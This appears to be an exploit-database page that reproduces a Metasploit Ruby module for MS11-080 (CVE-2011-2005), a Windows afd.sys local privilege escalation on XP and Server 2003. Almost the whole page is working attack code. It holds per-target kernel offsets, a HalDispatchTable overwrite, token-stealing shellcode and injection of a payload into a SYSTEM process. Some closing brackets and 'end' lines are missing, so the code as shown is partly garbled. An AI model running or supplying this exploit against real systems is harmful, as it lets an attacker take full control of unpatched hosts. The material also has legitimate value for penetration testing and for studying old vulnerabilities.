发布 2012-10-10 漏洞条目

Microsoft Windows – ‘AfdJoinLeaf’ Local Privilege Escalation (MS11-080) (Metasploit)

Exploit Source

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# web site for more information on licensing and terms of use.

# http://metasploit.com/

require 'msf/core'

require 'rex'

require 'msf/core/post/common'

require 'msf/core/post/windows/priv'

class Metasploit3 < Msf::Exploit::Local

Rank = AverageRanking

# Average because this module relies on memory corruption within the

# kernel, this is inherently dangerous. Also if the payload casues

# the system process that it was injected into to die then it's also

# possible that the system may become unstable.

include Msf::Post::Common

include Msf::Post::Windows::Priv

def initialize(info={})

super(update_info(info, {

'Name' => 'MS11-080 AfdJoinLeaf Privilege Escalation',

'Description' => %q{

This module exploits a flaw in the AfdJoinLeaf function of the

afd.sys driver to overwrite data in kernel space. An address

within the HalDispatchTable is overwritten and when triggered

with a call to NtQueryIntervalProfile will execute shellcode.

This module will elevate itself to SYSTEM, then inject the payload

into another SYSTEM process before restoring it's own token to

avoid causing system instability.

'License' => MSF_LICENSE,

'Author' =>

[

'Matteo Memelli', # original exploit and all the hard work

'Spencer McIntyre' # MSF module

'Arch' => [ ARCH_X86 ],

'Platform' => [ 'windows' ],

'SessionTypes' => [ 'meterpreter' ],

'DefaultOptions' =>

{

'EXITFUNC' => 'thread',

'Targets' =>

[

[ 'Automatic', { } ],

[ 'Windows XP SP2 / SP3',

{

'HaliQuerySystemInfo' => 0x16bba,

'HalpSetSystemInformation' => 0x19436,

'_KPROCESS' => "\x44",

'_TOKEN' => "\xc8",

'_UPID' => "\x84",

'_APLINKS' => "\x88"

}

[ 'Windows Server 2003 SP2',

{

'HaliQuerySystemInfo' => 0x1fa1e,

'HalpSetSystemInformation' => 0x21c60,

'_KPROCESS' => "\x38",

'_TOKEN' => "\xd8",

'_UPID' => "\x94",

'_APLINKS' => "\x98"

}

'References' =>

[

[ 'CVE', '2011-2005' ],

[ 'MSB', 'MS11-080' ],

[ 'EDB', 18176 ],

[ 'URL', 'http://www.offensive-security.com/vulndev/ms11-080-voyage-into-ring-zero/' ]

'DisclosureDate'=> 'Nov 30 2011',

'DefaultTarget' => 0

}))

register_options([

])

end

def find_sys_base(drvname)

session.railgun.add_dll('psapi') if not session.railgun.dlls.keys.include?('psapi')

session.railgun.add_function('psapi', 'EnumDeviceDrivers', 'BOOL', [ ["PBLOB", "lpImageBase", "out"], ["DWORD", "cb", "in"], ["PDWORD", "lpcbNeeded", "out"]])

session.railgun.add_function('psapi', 'GetDeviceDriverBaseNameA', 'DWORD', [ ["LPVOID", "ImageBase", "in"], ["PBLOB", "lpBaseName", "out"], ["DWORD", "nSize", "in"]])

results = session.railgun.psapi.EnumDeviceDrivers(4096, 1024, 4)

addresses = results['lpImageBase'][0..results['lpcbNeeded'] - 1].unpack("L*")

addresses.each do |address|

results = session.railgun.psapi.GetDeviceDriverBaseNameA(address, 48, 48)

current_drvname = results['lpBaseName'][0..results['return'] - 1]

if drvname == nil

if current_drvname.downcase.include?('krnl')

return [address, current_drvname]

end

elsif drvname == results['lpBaseName'][0..results['return'] - 1]

return [address, current_drvname]

end

# Function borrowed from smart_hashdump

def get_system_proc

# Make sure you got the correct SYSTEM Account Name no matter the OS Language

local_sys = resolve_sid("S-1-5-18")

system_account_name = "#{local_sys[:domain]}\\#{local_sys[:name]}"

# Processes that can Blue Screen a host if migrated in to

dangerous_processes = ["lsass.exe", "csrss.exe", "smss.exe"]

session.sys.process.processes.each do |p|

# Check we are not migrating to a process that can BSOD the host

next if dangerous_processes.include?(p["name"])

next if p["pid"] == session.sys.process.getpid

next if p["pid"] == 4

next if p["user"] != system_account_name

return p

end

def exploit

if sysinfo["Architecture"] =~ /wow64/i

print_error("Running against WOW64 is not supported")

return

elsif sysinfo["Architectore"] =~ /x64/

print_error("Running against 64-bit systems is not supported")

return

end

mytarget = target

if mytarget.name =~ /Automatic/

os = sysinfo["OS"]

if os =~ /windows xp/i

mytarget = targets[1]

end

if ((os =~ /2003/) and (os =~ /service pack 2/i))

mytarget = targets[2]

end

if ((os =~ /\.net server/i) and (os =~ /service pack 2/i))

mytarget = targets[2]

end

if mytarget.name =~ /Automatic/

print_error("Could not identify the target system, it may not be supported")

return

end

print_status("Running against #{mytarget.name}")

end

if is_system?

print_error("This meterpreter session is already running as SYSTEM")

return

end

this_proc = session.sys.process.open

kernel_info = find_sys_base(nil)

base_addr = 0x1001

print_status("Kernel Base Address: 0x#{kernel_info[0].to_s(16)}")

result = session.railgun.ws2_32.WSASocketA("AF_INET", "SOCK_STREAM", "IPPROTO_TCP", nil, nil, 0)

socket = result['return']

irpstuff = rand_text_alpha(8)

irpstuff << "\x00\x00\x00\x00"

irpstuff << rand_text_alpha(4)

irpstuff << "\x01\x00\x00\x00"

irpstuff << "\xe8\x00" + "4" + "\xf0\x00"

irpstuff << rand_text_alpha(231)

if not this_proc.memory.writable?(0x1000)

session.railgun.add_function(

'ntdll',

'NtAllocateVirtualMemory',

'DWORD',

[

["DWORD", "ProcessHandle", "in"],

["PBLOB", "BaseAddress", "inout"],

["PDWORD", "ZeroBits", "in"],

["PBLOB", "RegionSize", "inout"],

["DWORD", "AllocationType", "in"],

["DWORD", "Protect", "in"]

])

result = session.railgun.ntdll.NtAllocateVirtualMemory(-1, [ base_addr ].pack("L"), nil, [ 0x1000 ].pack("L"), "MEM_COMMIT | MEM_RESERVE", "PAGE_EXECUTE_READWRITE")

end

if not this_proc.memory.writable?(0x1000)

print_error('Failed to properly allocate memory')

return

end

this_proc.memory.write(0x1000, irpstuff)

hKernel = session.railgun.kernel32.LoadLibraryExA(kernel_info[1], 0, 1)

hKernel = hKernel['return']

halDispatchTable = session.railgun.kernel32.GetProcAddress(hKernel, "HalDispatchTable")

halDispatchTable = halDispatchTable['return']

halDispatchTable -= hKernel

halDispatchTable += kernel_info[0]

print_status("HalDisPatchTable Address: 0x#{halDispatchTable.to_s(16)}")

halbase = find_sys_base("hal.dll")[0]

haliQuerySystemInformation = halbase + mytarget['HaliQuerySystemInfo']

halpSetSystemInformation = halbase + mytarget['HalpSetSystemInformation']

print_status("HaliQuerySystemInformation Address: 0x#{haliQuerySystemInformation.to_s(16)}")

print_status("HalpSetSystemInformation Address: 0x#{halpSetSystemInformation.to_s(16)}")

#### Exploitation ####

shellcode_address_dep = 0x0002071e

shellcode_address_nodep = 0x000207b8

padding = make_nops(2)

halDispatchTable0x4 = halDispatchTable + 0x4

halDispatchTable0x8 = halDispatchTable + 0x8

restore_ptrs = "\x31\xc0"

restore_ptrs << "\xb8" + [ halpSetSystemInformation ].pack("L")

restore_ptrs << "\xa3" + [ halDispatchTable0x8 ].pack("L")

restore_ptrs << "\xb8" + [ haliQuerySystemInformation ].pack("L")

restore_ptrs << "\xa3" + [ halDispatchTable0x4 ].pack("L")

tokenstealing = "\x52"

tokenstealing << "\x53"

tokenstealing << "\x33\xc0"

tokenstealing << "\x64\x8b\x80\x24\x01\x00\x00"

tokenstealing << "\x8b\x40" + mytarget['_KPROCESS']

tokenstealing << "\x8b\xc8"

tokenstealing << "\x8b\x98" + mytarget['_TOKEN'] + "\x00\x00\x00"

tokenstealing << "\x89\x1d\x00\x09\x02\x00"

tokenstealing << "\x8b\x80" + mytarget['_APLINKS'] + "\x00\x00\x00"

tokenstealing << "\x81\xe8" + mytarget['_APLINKS'] + "\x00\x00\x00"

tokenstealing << "\x81\xb8" + mytarget['_UPID'] + "\x00\x00\x00\x04\x00\x00\x00"

tokenstealing << "\x75\xe8"

tokenstealing << "\x8b\x90" + mytarget['_TOKEN'] + "\x00\x00\x00"

tokenstealing << "\x8b\xc1"

tokenstealing << "\x89\x90" + mytarget['_TOKEN'] + "\x00\x00\x00"

tokenstealing << "\x5b"

tokenstealing << "\x5a"

tokenstealing << "\xc2\x10"

restore_token = "\x52"

restore_token << "\x33\xc0"

restore_token << "\x64\x8b\x80\x24\x01\x00\x00"

restore_token << "\x8b\x40" + mytarget['_KPROCESS']

restore_token << "\x8b\x15\x00\x09\x02\x00"

restore_token << "\x89\x90" + mytarget['_TOKEN'] + "\x00\x00\x00"

restore_token << "\x5a"

restore_token << "\xc2\x10"

shellcode = padding + restore_ptrs + tokenstealing

this_proc.memory.write(shellcode_address_dep, shellcode)

this_proc.memory.write(shellcode_address_nodep, shellcode)

this_proc.memory.protect(0x00020000)

addr = [ 2, 4455, 0x7f000001, 0, 0 ].pack("s!S!L!L!L!")

result = session.railgun.ws2_32.connect(socket, addr, addr.length)

if result['return'] != 0xffffffff

print_error("The socket is not in the correct state")

return

end

session.railgun.add_function(

'ntdll',

'NtDeviceIoControlFile',

'DWORD',

[

[ "DWORD", "FileHandle", "in" ],

[ "DWORD", "Event", "in" ],

[ "DWORD", "ApcRoutine", "in" ],

[ "DWORD", "ApcContext", "in" ],

[ "PDWORD", "IoStatusBlock", "out" ],

[ "DWORD", "IoControlCode", "in" ],

[ "LPVOID", "InputBuffer", "in" ],

[ "DWORD", "InputBufferLength", "in" ],

[ "LPVOID", "OutputBuffer", "in" ],

[ "DWORD", "OutPutBufferLength", "in" ]

])

session.railgun.add_function(

'ntdll',

'NtQueryIntervalProfile',

'DWORD',

[

[ "DWORD", "ProfileSource", "in" ], [ "PDWORD", "Interval", "out" ]

])

print_status("Triggering AFDJoinLeaf pointer overwrite...")

result = session.railgun.ntdll.NtDeviceIoControlFile(socket, 0, 0, 0, 4, 0x000120bb, 0x1004, 0x108, halDispatchTable0x4 + 0x1, 0)

result = session.railgun.ntdll.NtQueryIntervalProfile(1337, 4)

if not is_system?

print_error("Exploit failed")

return

end

begin

proc = get_system_proc

print_status("Injecting the payload into SYSTEM process: #{proc["name"]} PID: #{proc["pid"]}")

host_process = client.sys.process.open(proc["pid"], PROCESS_ALL_ACCESS)

mem = host_process.memory.allocate(payload.encoded.length + (payload.encoded.length % 1024))

print_status("Writing #{payload.encoded.length} bytes at address #{"0x%.8x" % mem}")

host_process.memory.write(mem, payload.encoded)

host_process.thread.create(mem, 0)

rescue ::Exception => e

print_error("Failed to Inject Payload")

print_error(e.to_s)

end

# Restore the token because apparently BSODs are frowned upon

print_status("Restoring the original token...")

shellcode = padding + restore_ptrs + restore_token

this_proc.memory.write(shellcode_address_dep, shellcode)

this_proc.memory.write(shellcode_address_nodep, shellcode)

result = session.railgun.ntdll.NtDeviceIoControlFile(socket, 0, 0, 0, 4, 0x000120bb, 0x1004, 0x108, halDispatchTable0x4 + 0x1, 0)

result = session.railgun.ntdll.NtQueryIntervalProfile(1337, 4)

end

作者: Metasploit
日期: 2012-10-10
类别: local
平台: windows

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